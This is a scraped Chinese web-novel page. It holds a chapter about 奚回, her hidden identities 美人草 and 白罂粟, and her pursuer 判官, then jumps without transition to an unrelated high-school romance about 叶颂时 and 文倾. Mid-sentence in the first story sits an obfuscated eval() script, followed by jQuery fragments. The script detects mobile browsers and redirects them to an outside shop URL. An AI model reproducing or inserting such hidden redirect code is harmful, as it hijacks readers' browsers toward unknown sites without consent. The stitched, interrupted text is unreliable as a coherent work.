【!!!上帝!】
天机语气十分震惊。
“什么?”
血新娘没能懂她的意思,只从她的回答里听出来浓浓的挑衅。
“我知道啊!你杀了美人草,判官的女朋友,所以才被异度信标一直追杀!”
她不免好奇,“你为什么杀美人草?”
天机总算想起来了。
美人草,是奚回曾经的代号。
那些事情实在太久远了。
天机只记得,自己并不是一开始就陪伴着奚回的。
它第一次醒来,奚回正陷入险境,那是一个探索度很低的副本,危险系数很高。
她带了两个组织里的新成员,打算先苟过一次看看情况。
但是有其他玩家触发了副本的死亡规则,她们所在的坐标被大量副本怪物入侵了。
包括两个异度信标的新成员在内,除奚回以外的人全死了。
其实她也以为自己要死了。
但是……天机觉醒了。
每个玩家被拉入《默示录》后,都会觉醒自己的天赋能力。
奚回也是,她的能力叫【天机】。
一个意味不明的,S级的天赋能力。
可天机并不同于其他人的天赋能力,她进入《默示录》三年,技能那一栏的【天机】永远是灰暗着的,奚回无法使用它,也不知道如何激活它。
直到脑海里第一次出现系统音。
【检测到宿主周围怪物过多,是否绑定系统】
已经成了血人的奚回没有半秒的犹豫,“是!”
她的天赋能力在进入《默示录》三年后才觉醒,但奚回却觉得这中间的一切等待和苦难都值得。
她几乎无所不能。
只要她有足够的生命,或时间。
她郑重无比地用了自己近二十年的时间问了天机一个问题。
“玩家……有可能脱离《默示录》回到自己的世界吗?”
短暂的几秒安静后,那道系统音冷漠地回答了她。
【有。】
天机是不会骗她的,天机就是《默示录》所创造的。
为了那一丝虚无缥缈的可能,奚回想都没想,选择了一条满是荆棘的道路,哪怕是跟全世界对立,她也只想回到自己的世界里去。
她要做的第一件事,就是脱离异度信标。
但就在这一件事情上,奚回就遇上了困难。
她说想要退出异度信标,判官想都没想就同意了。
然后奚回提出分手,被他一口回绝。
那个男人执拗得吓人,一双眼睛黑黑沉沉的,却像蒙了层雾,语气也低声下气的。
“为什么要分手?我哪里做得不好吗?”
奚回十分头疼。
和判官恋爱这件事,说来说去实在也是她年幼稚嫩不懂事。
但她确实没想到,这段小孩子过家家似的感情,判官原来这么看重吗?
刚进《默示录》那年,她才21岁。
九死一生地通过了新手副本,还没缓过来就又被拉入第二个副本。
天赋能力用不了,世界观也受到极大的冲击还未适应,奚回差点死在那个副本里。
但那次判官也在那个副本里。
他顶起了领导者的角色,带着剩下的玩家有惊无险地通过了副本。
然后他问其他玩家,想不想加入他创建的组织——异度信标。
一个为所有,误入异世界游戏但仍不放弃回家的旅人们所建立起来的组织。
组织成员们以这种方式,互相提醒自己,不要被异化成所谓“伊甸园”的居民。
奚回加入了异度信标。
她看见了判官的强大、淡漠和对自己原则的坚定,而奚回身上的韧性和理性或许也引起了他的欣赏。
作为美人草的她逐渐成为了异度信标的核心成员,并和判官走到了一起,把异度信标发展得越来越大。
可他们还是找不到回去的方法啊。
天机已经把方向指给了她,奚回不甘心一辈子留在这个莫名其妙的游戏,她比任何人都渴望回到现实世界。
她还有一个亲人,那个孩子父母离异又刚丧母,他那么需要她。
她预见,自己无法走一条光明的路,而必须直面沾满鲜血、罪孽和仇恨的未来。
但没想到,判官会是这样的反应。
在用不同的理由提出分手四次以后,奚回绞尽脑汁才又想出一个理由。
她约见判官,对方如约而至。
奚回神情真诚,“分手吧。”
判官紧拧着眉,瞳孔忍不住颤了颤,不明白为什么最近美人草会突然这么反常。
他紧抿着唇,等待着对方的下一句话。
奚回的手指缓缓指向自己左眼下那颗痣,尽量让自己理直气壮。
“我这痣,克夫。”
什么?
面前的男人脸色顿时凉得能掉出冰碴子来。
“我都是为了你好。”奚回找补了一句,掩藏自己的心虚。
当然,这一次分手也毫不犹豫地被对方回绝了。
早期的天机,也经常很安静,并不像现在这样话痨。
但也忍不住问。
【你想分手还需要跟他商量吗?】
奚回躺在床上双眼放空,声音很低很慢。
“我只是希望……他不会那么受伤吧。”
他们的关系很奇妙,既是恋人又是战友,在无数次生死一线的时候,都互相陪伴彼此。
奚回从判官身上,一直汲取着一种能量——
坚信能回到现实的信念。
既然分不了手,奚回想了很久,最终打算把事情做绝一点。
让美人草消失。
【自己杀自己吗?】
天机对这个宿主越来越感兴趣了。
奚回准备着一切事宜,回答它:“对啊,帮不帮?”
【只要筹码足够,我都能为你实现。】
所以,在下一次副本里,美人草消失了,而白罂粟横空出世。
所有人都认为,白罂粟杀了美人草。
而判官也因此,追杀白罂粟数年不止。
奚回自己都不明白,自己对判官来说会有这么重要。
重到数年来都不曾放弃过一刻追杀白罂粟。
为什么?
血新娘又问了一遍,奚回才从有点恍惚的状态里回神。
“我为什么杀美人草?”
血新娘用期待的眼神看着她。
奚回好半天才吐出几个字,“想杀就杀了。”
血新娘一怔,又失笑。
“不愧是你白罂粟。”
多么不讲道理的理由,没有一点对不起白罂粟杀人魔头的名号,相反还完全符合她的逻辑。
她手指极轻地触了触墓碑的碑身,冰凉袭上血新娘的指尖。
奚回侧头看她,血新娘娇艳的面容显得有些恍惚。
“应该也是个……厉害的女人。”
那语气里带着一丝微不可查的惋惜。
似乎是一种惺惺相惜。
奚回强迫自己深吸一口气,没有暴起踢碎这块祭奠自己的墓碑。
谁知道底下埋的什么?空气?
是她自己要这么做的,虽然没有预料到判官这几年来会不死不休地追杀她,但总不可能现在跳出来说美人草没死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741703|208734||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,还就站在你面前吧?
她眼眸微阖,又立刻睁开。
算了,就当是她自己犯下的苦果。
反正判官也抓不到她,美人草和白罂粟的秘密永远都会被埋葬在这块碑下。
“走了。”
奚回凉凉的声音从一旁传来。
她抱臂看着血新娘,眉峰微挑,“没看出来你……这么同情心泛滥。”
血新娘翻了个白眼,“呵呵,我这叫共情力强!”
以为谁都跟你白罂粟一样无心无情啊。
她低声嘟囔,奚回却一字不落地收入耳底。
两人不再逗留,那庄重的碑前,又只剩一地静谧。
直到……一双男士黑靴再度站定在奚回刚才所站的地方。
-
叶颂时内心一直在纠结,他辗转反侧了一个晚上,一大早就带着俩黑眼圈去了学校。
他想好了,如果文倾真的是要告白的话……
那他周日就不去了!
现在他们都才高二,学习才是最重要的任务,对方可能因为跟自己一起救小动物而误认为这是异性间朦胧的感情。
但是叶颂时想得很清楚,他不喜欢文倾,文倾肯定也不是喜欢他,单纯就是跟男生接触比较少,误会了!
毕竟文倾平时比较腼腆害羞,很少跟班上的男生交流。
叶颂时想得清清楚楚,他一边思索着话术,一边紧握着书包带爬教学楼的楼梯。
他刚爬到二楼,就听见三楼的楼梯间转角处传来模糊不清的交谈声。
叶颂时顿了顿,停下脚步没再往上。
现在才七点不到,谁还比他来得早?
他安静地站着,那说话声便感觉清晰了不少,一道娇气跋扈的女声忽然提高了声音。
“文倾,之前跟你说的你听不进去是吧?”
文倾?
叶颂时竖起耳朵,心里觉得不该偷听她们女生的谈话,可行为却很诚实。
“不是的。”
文倾的声音柔柔的,很轻很淡,就像她的个性一样。
那女生却不信她的说辞,语气愈发咄咄逼人了。
“你之前不是答应了?现在又反悔了?很享受徐应扬追求你是吗?!”
说到那三个字时,她都有些咬牙切齿。
喔。
叶颂时大概清楚她们之间的矛盾了,徐应扬是他们年级挺有名的一个男生,成绩差到掉渣,但家境好、长得帅、很会穿、打球很厉害……
总之,徐应扬大概就是小说里那种,很受欢迎的校霸?
叶颂时不确定,因为他不知道对方是不是那种不讲道理爱打架的人,他只是单纯觉得对方穿得流里流气。
但很受欢迎的徐应扬,又公开表达了对文倾的好感,经常跑来他们班,引得班内外一顿热闹。
所以这个女生,大概也是喜欢徐应扬的女生,所以才会来给文倾压力吧?
被人喜欢也很烦恼啊!
叶颂时觉得文倾应该也很难应付这些情况,顿时一阵同情。
“总之,你要是不喜欢徐应扬,你就公开拒绝他呀!”
女生不满的情绪十分强烈,连叶颂时听了心里都有些不舒服,有些为文倾感到生气。
文倾还是那样柔和平淡,透着点歉意:“我会的。”
跟她对话的人应该是冷哼了一声,踩着小皮鞋哒哒哒地离开了。
叶颂时三两步爬上三楼,果然看到那道纤瘦的身影正低着头。
他看向前方,那个女生高挑的背影消失在了他们班的门口。
是她?
叶颂时很惊讶。
那人竟然是他们的同班同学,梁姝。